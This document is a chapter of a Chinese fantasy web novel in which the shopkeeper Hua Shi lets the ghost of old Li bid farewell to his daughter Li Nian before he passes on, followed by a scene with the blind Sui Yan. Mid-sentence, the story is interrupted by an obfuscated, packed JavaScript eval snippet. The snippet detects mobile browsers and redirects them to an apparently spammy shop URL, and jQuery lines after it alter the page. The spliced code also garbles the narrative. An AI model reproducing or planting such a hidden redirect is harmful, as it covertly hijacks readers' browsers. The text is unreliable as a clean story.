“啊!”惨叫声响起:“谋杀亲爹啦!”
随即花时听到一阵凌乱的脚步声,差点被闺女砍的李老头狼狈的从屋子里奔出来,,一脸惊恐未定的瞪着眼睛,嘴唇还微微抖动着。还差点撞到花时身上。
“你你你……我我我…掌柜的,老、老头我差点又没了!”李老头哀嚎着。眼里充斥着难以置信与悲伤,就差坐在地上哭了,可还是抽噎起来......没有眼泪但是干嚎。
“......”花时提着灯笼站在原地,一时之间无言以对。
“你又死不了,你已经是个鬼了,还想能更糟?”
亏得他是个鬼魂,除了她,怎么叫都不会有人听得见。就是苦了她的耳朵了。
“啊啊啊啊~”
听到嚎声更大,她皱着眉远离李老头:“我不是给了你棍子嘛!没事。”
“……”李老头委屈抽噎,“原来我是这般不重要的吗?”
哭的皱皱巴巴的脸向上抬起,耷拉着眼皮就这么盯着花时。
“…………”花时瞥了他一眼:“谁惯的你?”
“……”哭声立停。草率了!怎的就忘记了他们掌柜最嫌聒噪!李老头瞬间收了神通,抿紧了嘴巴。生怕掌柜先把他砍了。
两眼相对瞪了片刻,生怕再被刺激就这么提前去投胎了,花时木着一张脸勉强换了种不确定的语气。
“你......以你现在的样子刀伤不到你……是吧?”
“…………”哀怨的眼神有如实质。
……
不似于外头两人的相顾无言,屋子里是一道无比疑惑且清晰的声音:“嗯?”
屋子里的李念盯着掉落在地上的棍子,又抬头警惕的打量过房间。扫视了三次,还是没有除了她之外的任何呼吸,她才将视线转向了屋外。虽然凭空落在地上的棍子让她无比怀疑是不是自己做梦了。
就在方才,她正在熟睡却听见院门口响起吱呀一声,是门被人轻轻推开。骤然睁眼,轻巧又娴熟的摸到枕头下的匕首,悄无声息的起身靠近门。呼吸压制到最低,垂眸侧耳倾听门外的动静可除了方才一声轻响,再无任何异状。
但是,她不敢赌。
就在她想着要不要主动出击时,门被推开,一个棍子率先进入眼帘。为抢占先机,她先行挥出匕首。可没有任何人出现在她面前。
她紧了紧拿着刀的手,脚步轻巧又缓慢地朝着门口走去,路过地上的棍子时,脚尖一勾,将地上的棍子拿在手里,试探性地朝门口撇了出去。还没走到门口,就见一道身影带着她无比熟悉的声音朝她奔来。
虽是熟悉,但她手中的刀还是毫不犹豫地先一步挥了出去。
......
就在方才,屋外的花时嘴角微勾亲眼看着李老头一脸绝望,终于大发善心:“再给你一次机会。”
李老头唰的抬起头,一副“你还有后招”的可怜样。
他们掌柜哪里是白面馒头,分明就是黑心黑肝的黑包子!
“放心。”
花时的食指一点,熟悉的金线从李老头拿着的玉佩里飘出,细细袅袅的金线缓缓延长,绕了几圈李老头,松哒哒的挂在他身上。又见掌柜朝屋内挥了挥手。
“去吧。”
毕竟是见识过掌柜金线的威力,李老头戴上一副英勇就义的表情点了点头。边走还边在心里还吐槽着,像他这般老子怕闺女的估计是头一个。
但是!没事!现在的好处就在于丢脸也不会脸红。
深吸了一口气,李老头先哀戚戚地喊了一声:“闺女!”
又竖着耳朵听了一会儿,听见屋子里传来什么东西落地的声音,他才放心的拎着衣摆跑了进去,泪眼婆娑的。
但是,他遭遇的情景与他想的,可以说是毫无关系。
“嘎?”“女”字还没喊完呢,哭声像是被门夹了一样突然停下来,又没收住叫了一声。
“爹?”
李念看见李老头,这才惊讶的收回了手里的匕首。
李老头小眼睛往上瞥了下,亲眼盯着已经快挨到脑门的匕首收走了才委屈巴巴撅了嘴。
“爹,你......这是......”
看着自家老爹拎着衣摆,颇为娇俏的模样,李念暂时竟说不出自己想念自家老爹已久的话。对于自家老爹这副样子接受不良。
李老头顺着李念的目光看下去,尴尬的咳了几声,赶紧放下手里的衣摆装出了一份稳重:“嗯。”
李念有些震惊:“您还活着呢?”
“?”李老头气的胡子发颤。
这个不孝女!
李念看老爹被自己气的发抖,忙哄到:“您别气啊!这不是担心您嘛。”
“哼。”李老头难得放下了衣摆,抱臂转身。
“您这些年在何处?为何不归家?”李念一股脑问道,顿了顿,“先生,可还好?”
听到二人在唠家常,花时脚步微顿,停在了原地。
“先生?”听到李老头些许疑惑的声音,“什么先生?”
李念迟疑:“爹,你莫不是得了失心疯?”
“混账!”李老头胡子一抖一抖的。
李念没继续询问,上下打量着从方才就开始不对劲的老爹。直到......眼神落在地上......
话音一转,随意的给她爹倒了杯水,又拉出凳子式意他坐下:“也没什么大事,先生是我们村子里唯一一位教书先生,自他出门,私塾便荒废了。当时先生还说,与您到附近镇子上就分开了,他要去寻自己亲戚。现下,您回来了,人家跟您一起出的门,当然得问一嘴。”
听着自家闺女笃定的模样,李老头收住脾气,一脸怀疑:“不记得没事吧?”
“当然。”李念真切地笑了笑,“先生虽时常在村子里当教书先生,可他热衷游山玩水来去自由,鲜少有人知道他在何处。他离开时,与我们打过招呼,才问你一声,不记得也无妨,不是什么重要事。估摸着是在他亲戚家住下了。”
李老头这才点点头。
糊弄完她老爹,随意朝门外瞥了眼才看见了静立于屋外的花时。
李念瞬间鸡皮疙瘩竖起,袖间匕首握紧,满目警惕。她竟对于这人何时出现毫无察觉!这可是大忌!
“这位是?”杏眼、鹅蛋脸,明明是最为清柔的长相,偏生让人瞧着格外冷漠,仿若拒人于千里之外。
看着柔和,气质冷硬的像个将军。
“这是掌柜。”李老头睨了眼花时,没多说她的身份。
李念低头行礼,但极为疏远。
花时见李念点头,对她颇为礼貌。可眼里的警惕显而易见,如果不是李老头所言,恐怕已经朝她出手了。
装作不在意般扫过李念的袖子,看来,这人武功不弱。女儿有如此功夫,这李老头怕也不是普通人。
花时对于这位警惕的女子同样抱有好奇心态。她的脚步声几近于无且站着的位置几乎是李念的视线盲角,可她还是发现了。李念瞧着约莫三十出头,看向李老头时有娇纵之气蔓延,可对上花时的视线或扫向周围时,却又带着若有若无的锐利。
瞧着就不像是一位简单的闺阁女子。
花时本就在门外索性就走远些,只朝着李老头直言:“快些。”
李老头点点头。花时停在不远处抬头望着月亮,其周边星星点点微闪,风吹过时似乎有微弱的声响跟着树叶的沙沙声一起闯进耳朵。
估摸了下时辰,李老头起身出门:“时辰快到了。爹给你留了东西,马上去拿,你等着。”
说罢,就赶忙跑了出去。
李念紧盯李老头背影,这时,竟才流露出满目的思念。
花时转身朝着院落,将后背漏给了李念。李念眼眸微眯,将匕首收进腰间,抬脚走了出去。
她转头看向从头至尾都没有进屋子里的人。
“成婚了吗?”花时问。
虽然她不觉得李念是个会成亲的人,但院落里留下的痕迹可不像是同一个人的。李老头这闺女秘密还挺多。
李念顿了顿:“没。”
花时点点头,没再说话。
花时手掌朝着远处的玉佩上施加了术法,掌心浅淡的光渡到玉佩上,玉佩散发出淡金光泽,让李老头的身影凝实了不少。
李念亲眼看着李老头在树下佝着背挖着什么东西的模样,笑了笑,“到了如今,倒成了个老小孩的样。”
她似是在怀念,眼含温柔暖意。
“现在的他,更多的是为了了却执念。生前诸事会淡忘。”
执念......
想起他父亲生前清正挺拔的立于朝堂,为天下人谋一份公平时,是何等的魄气!可清正磊落了一生,如今倒是完全相反了。不过,如今这副模样也算不错。生前背负万千,此时能得几载安乐也未尝是一件坏事。
又想到她老爹的执念竟是自己,又不禁觉得酸涩。
算了,反正若无她爹爹的执念,或许此后一生,她也再无机会见此一面。见一面,总比不见好。
“了却执念之后呢?”
“入轮回。”
“那便好。”李念的声音轻的似乎要被风吹散。
*
不一会儿,李老头蹭蹭蹭跑到了她们二人面前,如李念所想般一点不曾犹豫的就将东西捧到了她面前。已经耷拉下来的眼皮半遮住发着光眼睛,双手似乎还有点颤抖。
“闺女,你爹一辈子没甚出息,只给你凑了这么些银两,你省着点花。”
打了补丁的布包里银票银两加起来足足有七八十两。
李念眨了眨有些泛红的眼睛,喉咙里像是被一团棉花堵住,酸涩不已。她狠狠咽了下口水才装作不客气样,豪爽的从她爹手中接了过来,状似不经意的翻了翻,还念念有词:“我的老爹呀!您老可真有钱!”
李老头没好气地伸出一根手指头戳自家闺女额头:“你个傻丫头,你爹就这么几个藏私房钱的地方,这么些年了,你竟不去挖一挖!”
李念呵呵笑着。
“哎哟,这不是您老给我送来了吗!何况,你闺女不缺钱。”
“哎哟哟,你个小丫头片子还骄傲得很!不缺钱你给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363550|199791||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我呀!”李老头翻了个白眼。
“可不能,不缺钱也要!”李念叉着腰。
“得得得,服了你了。”
李老头摆摆手,表示自己吵不过。
花时在一旁静静听着。半晌,不顾二人在斗嘴,打断道:“时辰到了。”
气氛瞬间冷凝,李老头的笑收敛缓缓低下头不知道在想什么。好一会儿才抬头抿了抿嘴,手指颤了颤,但面上淡定得很:“行了行了,这辈子也算是赚了。你人生还长,好好的。”
自家老爹啥样她一清二楚,看着他侧着脸不在乎的模样,一瞧过去就是装的。李念眼眶涩涩的疼:“那是,人生那么长有的我享受呢!有我这么孝顺的闺女,还是你赚了!”
“哈哈哈哈!”李老头爽快地笑。
李老头将玉佩放在掌心微微作揖,朝着花时道:“麻烦掌柜了。”
花时一抬手,玉佩轻巧地到了她手中。将玉佩挂回腰间,抬手一抹,一味药材从李老头身上脱离出来,恍惚间他似乎听到了一阵钟声。
药材与李老头之间有淡白色的丝线相连,刹那间,李老头的眼神也不再懵懂,周身气度也发生了微妙的变化。以往那副贼兮兮的样子消失殆尽,现下只余一副坦荡君子模样。视线微抬,似是遥远又似近在咫尺般落在一处,眼神流露出恍然。
李老头低头看向李念时,满目的痛惜与遗憾。李念见了也觉得心痛无比。为人臣身不由己,为人父深觉亏欠,生前死后都没能弥补分毫。可悲可叹啊!可怜他家娇娇儿,如今都敢拿刀劈人了。往后,更是不知如何辛苦。
见李念朝他扬起璨然笑容,李稚袤的眼神瞬间安定。是了,他的女儿是何等的聪慧,必不会让自己吃亏。是他,为人父,放不下那颗心罢了。
即将消失之际,他朝李念点头,转身朝着花时的方向轻轻作揖,朗声道:“李稚袤拜别先生。”
身影消失,话音回荡,世间再无李稚袤。李念终于憋闷不住红了眼眶,泪水不自觉滑落。努力控制住颤抖,她克制的朝花时行了一礼以示感谢,眼神似乎还偏向了她身后又若无其事般低着头回屋去了。
花时等李念关上房门才转身,一抬眸便看见院门口有一道熟悉的身影。黑夜里,一袭青衣尤为显眼,手里还握着不知哪里捡来的棍子,双眼虚虚落在花时身上。
“你怎么来了?”
“缘分吧?”岁衍带着笑意说。
花时莫名觉得,方才李老头拜别可能是朝着岁衍说的。
四周昏暗,微弱的灯火重新被黑暗所吞没,李念也早已回屋,周围又似他们来时那般,但早已有所不同。
李稚袤之事已了,她身上连接李老头的线正在消失,她必须要快点回长宁街了,不便再叨扰。收了院落里布下的结界离开时,径直路过巴巴“望着”她的岁某人。
感受到身旁的风被轻轻带动的岁某人微微扭头,声音柔和,哪怕是在暗夜也不难猜到此时应是收起了那抹恶劣正温和儒雅的笑:“不怜惜怜惜我这个瞎子吗?”
花时回过头瞧他,不吃他惯是装模作样的那一套:“你说话正常些。”
昨日还疯言疯语的,今日便成了春风楼里的郎倌似的姿态了?
“掌柜觉得我该如何做?”岁衍背着手哼笑着跟上去,木棍在身后竖举着像个耍杂技的。
“……”这个人话有点多。
花时看着在脚边的石头上绊了一下又亦步亦趋走到她身旁的岁衍,换了个话题:“你来此处干什么?”
岁衍极为显眼的用脚探了探面前的路也不用背在身后的棍子,沉默片刻才侧着头弯着眼睛:“大概是,凑个热闹?”
花时过往每一次渡阴灵都是二人去一人归,头一次在回行路上有一道嘈杂的声音,有点不适应。可她没有再转头看岁衍,只一人踏步往前,有些路终归是只能她一个人走的。
岁衍感受到花时不等他一个人往前冲的态度后,偷偷摸摸伸出身后的木棍戳了戳花时的后背。
“掌柜?”
“掌柜?”
“滚。”
噙着笑跟上花时的脚步,岁衍抬起手朝向花时的方向,歪着脑袋说:“用你的金线刺破我的手指。”
花时脚步微顿,衣袖里的手指颤了颤。她知道这人为什么突然会这么说。
“试试?”岁衍也不催促,就只说了两个字就那般等着。
两人不再说话后周围便安静下来。岁衍眯着眸子盯着在暗夜中唯一能被他捕捉到的“光”,眸子里划过一抹留恋。
半晌,感受到指尖传来的刺痛,他到底是没忍住笑了一声。
“笑什么?”花时冷淡的声音骤响。
“没什么,就是忽然间觉得这黑夜里不是一个人的感觉还挺好。”
花时察觉到自己淡化的身躯重新凝结后,意料之中的收起金线。这人说他本就是这长宁街的半个掌管者,若无意外,只要有这人的血液,她就能短暂的不受长宁街的召唤的控制。
“开心了?”岁衍压低嗓子问。
花时理都没理他。
“那看来是很开心。”